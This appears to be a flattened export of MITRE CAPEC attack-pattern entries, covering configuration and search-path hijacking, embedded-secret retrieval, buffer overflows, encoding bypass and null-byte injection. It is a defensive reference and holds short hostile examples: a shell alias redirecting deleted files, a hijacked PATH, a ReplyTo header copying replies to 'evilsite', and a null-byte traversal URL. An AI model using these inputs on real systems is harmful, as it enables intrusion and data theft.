  1. Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerprint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted.
  2. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser.
  3. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdfwhatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process.
  4. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. < security-constraint>Security processing rules for admin screens/admin/POSTGETadministratorpublic The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
None High
23 75
  • The attacker must have the ability to modify non-executable files consumed by the target software.
  • Ability to communicate synchronously or asynchronously with server that publishes an over-privileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Low: To identify and execute against an over-privileged system interface Draft Very High 3.9
636
Retrieve Embedded Sensitive Data Detailed An attacker examines a target system to find sensitive data that has been embedded within it. This information can reveal confidential contents, such as account numbers or individual keys/credentials that can be used as an intermediate step in a larger attack. 2014-06-23 02:00:00 Capec: CAPEC-37
Cwe: CWE-226
Cwe: CWE-311
Cwe: CWE-525
Cwe: CWE-312
Cwe: CWE-314
Cwe: CWE-315
Cwe: CWE-318
Cwe: CWE-1239
Cwe: CWE-1258
Cwe: CWE-1266
Cwe: CWE-1272
Cwe: CWE-1278
Cwe: CWE-1301
Cwe: CWE-1330
Attack: T1005
Attack: T1552.004
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
Physical Security
Hardware
  1. Using a tool such as 'strings' or similar to pull out text data, perhaps part of a database table, that extends beyond what a particular user's purview should be.
  2. An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.
  3. Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user.

Explore

  1. Identify Target: Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), configuration files, or other system files.
  2. Techniques
    Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.
    Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.

Exploit

  1. Retrieve Embedded Data: The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to retrieve the information of interest.
  2. Techniques
    API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.
    Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.
    Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.
    Common data typing. The attacker looks for common file signatures for well-known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, they attempt decoding in that format.
High
  • In order to feasibly execute this type of attack, some valuable data must be present in client software.
  • Additionally, this information must be unprotected, or protected in a flawed fashion, or through a mechanism that fails to resist reverse engineering, statistical, or other attack.
  • The attacker must possess access to the system or code being exploited. Such access, for this set of attacks, will likely be physical. The attacker will make use of reverse engineering technologies, perhaps for data or to extract functionality from the binary. Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may require the use of only a hex editor, or may require aspects of the toolchain used to construct the application: for instance the Adobe Flash development environment. Attacks of this nature do not require network access or undue CPU, memory, or other hardware-based resources.
Medium: The attacker must possess knowledge of client code structure as well as ability to reverse-engineer or decompile it or probe it in other ways. This knowledge is specific to the technology and language used for the client distribution Draft Very High 3.9
167
Leveraging/Manipulating Configuration File Search Paths Detailed This pattern of attack sees an adversary load a malicious resource into a program's standard path so that when a known command is executed then the system instead executes the malicious component. The adversary can either modify the search path a program uses, like a PATH variable or classpath, or they can manipulate resources on the path to point to their malicious components. J2EE applications and other component based applications that are built from multiple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker. 2014-06-23 02:00:00 Capec: CAPEC-38
Cwe: CWE-426
Cwe: CWE-427
Attack: T1574.007
Attack: T1574.009
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. Another method is to redirect commands by aliasing one legitimate command to another to create unexpected results. the Unix command "rm" could be aliased to "mv" and move all files the victim thinks they are deleting to a directory the attacker controls. In a Unix shell .profile setting alias rm=mv /usr/home/attacker In this case the attacker retains a copy of all the files the victim attempts to remove.
  2. A standard UNIX path looks similar to this /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attackers' behalf: /evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.
None High
  • The attacker must be able to write to redirect search paths on the victim host.
Low: To identify and execute against an over-privileged system interface Draft Very High 3.9
159
Using Meta-characters in E-mail Headers to Inject Malicious Payloads Detailed This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system. 2014-06-23 02:00:00 Capec: CAPEC-41
Cwe: CWE-150
Cwe: CWE-88
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
Software
  1. To:From:Headerdef: whatever
  2. Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic. Meta-characters like \w \s \d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process.

Experiment

  1. Identify and characterize metacharacter-processing vulnerabilities in email headers: An attacker creates emails with headers containing various metacharacter-based malicious payloads in order to determine whether the target application processes the malicious content and in what manner it does so.
  2. Techniques
    Use an automated tool (fuzzer) to create malicious emails headers containing metacharacter-based payloads.
    Manually tampering email headers to inject malicious metacharacter-based payload content in them.

Exploit

  1. An attacker leverages vulnerabilities identified during the Experiment Phase to inject malicious email headers and cause the targeted email application to exhibit behavior outside of its expected constraints.
  2. Techniques
    Send emails with specifically-constructed, metacharacter-based malicious payloads in the email headers to targeted systems running email processing applications identified as vulnerable during the Experiment Phase.
High
  • This attack targets most widely deployed feature rich email applications, including web based email programs.
Low: To distribute email Draft High 3.9
MIME Conversion Detailed An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back. 2014-06-23 02:00:00 Capec: CAPEC-42
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-20
Reference_from_capec: REF-1
Reference_from_capec: REF-364
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges. Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.See also: CVE-1999-0047

Explore

  1. Identify target mail server: The adversary identifies a target mail server that they wish to attack.
  2. Techniques
    Use Nmap on a system to identify a mail server service.
  3. Determine viability of attack: Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).

Experiment

  1. Find injection vector: Identify places in the system where vulnerable MIME conversion routines may be used.
  2. Craft overflow content: The adversary crafts e-mail messages with special headers that will cause a buffer overflow for the vulnerable MIME conversion routine. The intent of this attack is to leverage the overflow for execution of arbitrary code and gain access to the mail server machine, so the adversary will craft an email that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  3. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shell code.
High
  • The target system uses a mail server.
  • Mail server vendor has not released a patch for the MIME conversion routine, the patch itself has a security hole or does not fix the original problem, or the patch has not been applied to the user's system.
Low: It may be trivial to cause a DoS via this attack pattern High: Causing arbitrary code to execute on the target system. Draft High 3.9
100
Exploiting Multiple Input Interpretation Layers Detailed An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: \--> \--> . In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop. 2014-06-23 02:00:00 Capec: CAPEC-43
Cwe: CWE-179
Cwe: CWE-181
Cwe: CWE-184
Cwe: CWE-183
Cwe: CWE-77
Cwe: CWE-78
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to "double escape" the backslash. In some cases, a quadruple escape is necessary. Original String: C:\\\\\\\winnt\\\\\\\system32\\\\\\\cmd.exe /c Interim String: C:\\\winnt\\\system32\\\cmd.exe /c Final String: C:\winnt\system32\cmd.exe /c This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string. [REF-1]

Explore

  1. Determine application/system inputs where bypassing input validation is desired: The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where they want to bypass it.
  2. Techniques
    While using an application/system, the attacker discovers an input where validation is stopping them from performing some malicious or unauthorized actions.

Experiment

  1. Determine which character encodings are accepted by the application/system: The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.
  2. Techniques
    Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\'
    Determine whether URL encoding is accepted by the application/system.
    Determine whether UTF-8 encoding is accepted by the application/system.
    Determine whether UTF-16 encoding is accepted by the application/system.
    Determine if any other encodings are accepted by the application/system.
  3. Combine multiple encodings accepted by the application.: The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.
  4. Techniques
    Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\.". With two parsing layers, this may get converted to "\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\.\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks.
    Combine multiple encodings and observe the effects. For example, the attacker might encode "." as "\.", and then, encode "\." as "\.", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B"

Exploit

  1. Leverage ability to bypass input validation: Attacker leverages their ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.
  2. Techniques
    Gain access to sensitive files.
    Perform command injection.
    Perform SQL injection.
    Perform XSS attacks.
Medium
  • User input is used to construct a command to be executed on the target system or as part of the file name.
  • Multiple parser passes are performed on the data supplied by the user.
Medium: Knowledge of various escaping schemes, such as URL escape encoding and XML escape characters. Draft High 3.9
267
Overflow Binary Resource File Detailed An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the adversary access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attack using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The adversary is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application for the victim to download. The adversary then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow. 2014-06-23 02:00:00 Capec: CAPEC-44
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-697
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
Software
  1. Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the adversary has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship.

Explore

  1. Identify target software: The adversary identifies software that uses external binary files in some way. This could be a file upload, downloading a file from a shared location, or other means.

Experiment

  1. Find injection vector: The adversary creates a malicious binary file by altering the header to make the file seem shorter than it is. Additional bytes are added to the end of the file to be placed in the overflowed location. The adversary then deploys the file to the software to determine if a buffer overflow was successful.
  2. Craft overflow content: Once the adversary has determined that this attack is viable, they will specially craft the binary file in a way that achieves the desired behavior. If the source code is available, the adversary can carefully craft the malicious file so that the return address is overwritten to an intended value. If the source code is not available, the adversary will iteratively alter the file in order to overwrite the return address correctly.
  3. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Once the adversary has constructed a file that will effectively overflow the targeted software in the intended way. The file is deployed to the software, either by serving it directly to the software or placing it in a shared location for a victim to load into the software.
High
  • Target software processes binary resource files.
  • Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file.
Medium: To modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability Draft Very High 3.9
Buffer Overflow via Symbolic Links Detailed This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking. 2014-06-23 02:00:00 Capec: CAPEC-45
Cwe: CWE-120
Cwe: CWE-285
Cwe: CWE-302
Cwe: CWE-118
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. The EFTP server has a buffer overflow that can be exploited if an adversary uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the adversary uploads some content (the link file) and then the adversary causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.

Explore

  1. Identify target application: The adversary identifies a target application or program that might load in certain files to memory.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    The adversary creates or modifies a symbolic link pointing to those files which contain an excessive amount of data. If creating a symbolic link to one of those files causes different behavior in the application, then an injection vector has been identified.
  3. Craft overflow file content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Using the specially crafted file content, the adversary creates a symbolic link from the identified resource to the malicious file, causing a targeted buffer overflow attack.
High
  • The adversary can create symbolic link on the target host.
  • The target host does not perform correct boundary checking while consuming data from a resources.
Low: An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Overflow Variables and Tags Detailed This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The adversary crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow. 2014-06-23 02:00:00 Capec: CAPEC-46
Cwe: CWE-120
Cwe: CWE-118
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-733
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag.See also: CVE-1999-0946
  2. A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file.See also: CVE-1999-0971

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overflow on. Adversaries look for applications or programs that accept formatted files, such as configuration files, as input.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    Knowing the type of file that an application takes as input, the adversary takes a normal input file and modifies a single variable or tag to contain a large amount of data. If there is a crash, this means that a buffer overflow attack is possible. The adversary will keep changing single variables or tags one by one until they see a change in behavior.
  3. Craft overflow content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: The adversary will upload the crafted file to the application, causing a buffer overflow.
High
8 10
  • The target program consumes user-controllable data in the form of tags or variables.
  • The target program does not perform sufficient boundary checking.
Low: An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Buffer Overflow via Parameter Expansion Detailed In this attack, the target software is given input that the adversary knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow. 2014-06-23 02:00:00 Capec: CAPEC-47
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-118
Cwe: CWE-130
Cwe: CWE-131
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-697
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Attack Example: FTP glob() The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap- based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob(). This buffer overflow occurs in memory that is dynamically allocated. It may be possible for adversaries to exploit this vulnerability and execute arbitrary code on the affected host. To exploit this, the adversary must be able to create directories on the target host. The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote adversary can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the adversary must be able to create directories on the FTP server. [REF-1]See also: CVE-2001-0249
  2. Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2. and 3. before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion. The limit computation of an internal buffer was done incorrectly. The size of the buffer in byte was used as element count, even though the elements of the buffer are 2 bytes long. Long expanded path names would therefore overflow the buffer.See also: CVE-2006-6652

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overflow on. Adversaries often look for applications that accept user input and that perform manual memory management.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    In this attack, the normal method of providing large user input does not work. The program performs bounds checking on the user input, but not the expanded user input. The adversary needs to provide input that they believe will be expanded by the program to overflow a buffer. To identify where this is possible, an adversary either needs to have knowledge of the inner workings of the program or use a disassembler and other reverse engineering tools to guide the search.
  3. Craft overflow content: The adversary crafts the input to be given to the program. If the intent is to simply cause the software to crash, the input needs only to expand to an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft input that expands in a way that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.
  4. Techniques
    Create specific files and directories on the system and then give input using path traversal shortcuts to those directories that could expand past an input buffer.

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary gives the crafted input to the program, overflowing the buffer.
Medium
  • The program expands one of the parameters passed to a function with input controlled by the user, but a later function making use of the expanded parameter erroneously considers the original, not the expanded size of the parameter.
  • The expanded parameter is used in the context where buffer overflow may become possible due to the incorrect understanding of the parameter size (i.e. thinking that it is smaller than it really is).
  • Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful.
High: Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the adversary needs to write the shell code to accomplish their goals, but the adversary also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled adversary. Draft High 3.9
100
Poison Web Service Registry Detailed SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces. WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. 2014-06-23 02:00:00 Capec: CAPEC-51
Cwe: CWE-285
Cwe: CWE-74
Cwe: CWE-693
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime. http://example.com/Message http://valid.example/validClient http://evilsite/evilClient http://validfaults.example/ErrorHandler In this example "evilsite" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.

Explore

  1. Find a target SOA or Web Service: The adversary must first indentify a target SOA or Web Service.

Experiment

  1. Determine desired outcome: Because poisoning a web service registry can have different outcomes, the adversary must decide how they wish to effect the webservice.
  2. Techniques
    An adversary can perform a denial of service attack on a web service.
    An adversary can redirect requests or responses to a malicious service.
  3. Determine if a malicious service needs to be created: If the adversary wishes to redirect requests or responses, they will need to create a malicious service to redirect to.
  4. Techniques
    Create a service to that requests are sent to in addition to the legitimate service and simply record the requests.
    Create a service that will give malicious responses to a service provider.
    Act as a malicious service provider and respond to requests in an arbitrary way.

Exploit

  1. Poison Web Service Registry: Based on the desired outcome, poison the web service registry. This is done by altering the data at rest in the registry or uploading malicious content by spoofing a service provider.
  2. Techniques
    Intercept and change WS-Adressing headers to route to a malicious service or service provider.
    Provide incorrect information in schema or metadata to cause a denial of service.
    Delete information about service procider interfaces to cause a denial of service.
High
  • The attacker must be able to write to resources or redirect access to the service registry.
  • Capability to directly or indirectly modify registry resources
Low: To identify and execute against an over-privileged system interface Draft Very High 3.9
203
Embedding NULL Bytes Detailed An adversary embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s). 2014-06-23 02:00:00 Capec: CAPEC-52
Cwe: CWE-158
Cwe: CWE-172
Cwe: CWE-173
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Wasc: 28
Owasp Attacks: Embedding Null Code
Reference_from_capec: REF-1
Reference_from_capec: REF-445
Reference_from_capec: REF-446
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. Directory Browsing Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an adversary could insert a bogus username such as ../../../../../WINDOWS. If the adversary needs to remove the trailing string /reports, then they can simply insert enough characters so the string is truncated. Alternatively the adversary might apply the postfix NULL character (%00) to determine whether this terminates the string. Different forms of NULL to think about include PATH%00PATH[0x00]PATH[alternate representation of NULL character]%00
  2. Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote adversaries to execute arbitrary code. The problem specifically exists upon retrieving a link of the following form: GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1 Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a "file not found" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an adversary to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here: 0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX The register EDI contains a pointer to a user-supplied string. The adversary therefore has control over both the ECX and EAX registers used in the shown MOV instruction. Successful exploitation allows remote adversaries to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat. An adversary does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script. Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [REF-445].See also: CVE-2004-0629
  3. Consider the following PHP script: $whatever = addslashes($_REQUEST['whatever']);include("/path/to/program/" . $whatever . "/header.htm"); A malicious adversary might open the following URL, disclosing the boot.ini file: http://localhost/phpscript.php?whatever=../../../../boot.ini%00

Explore

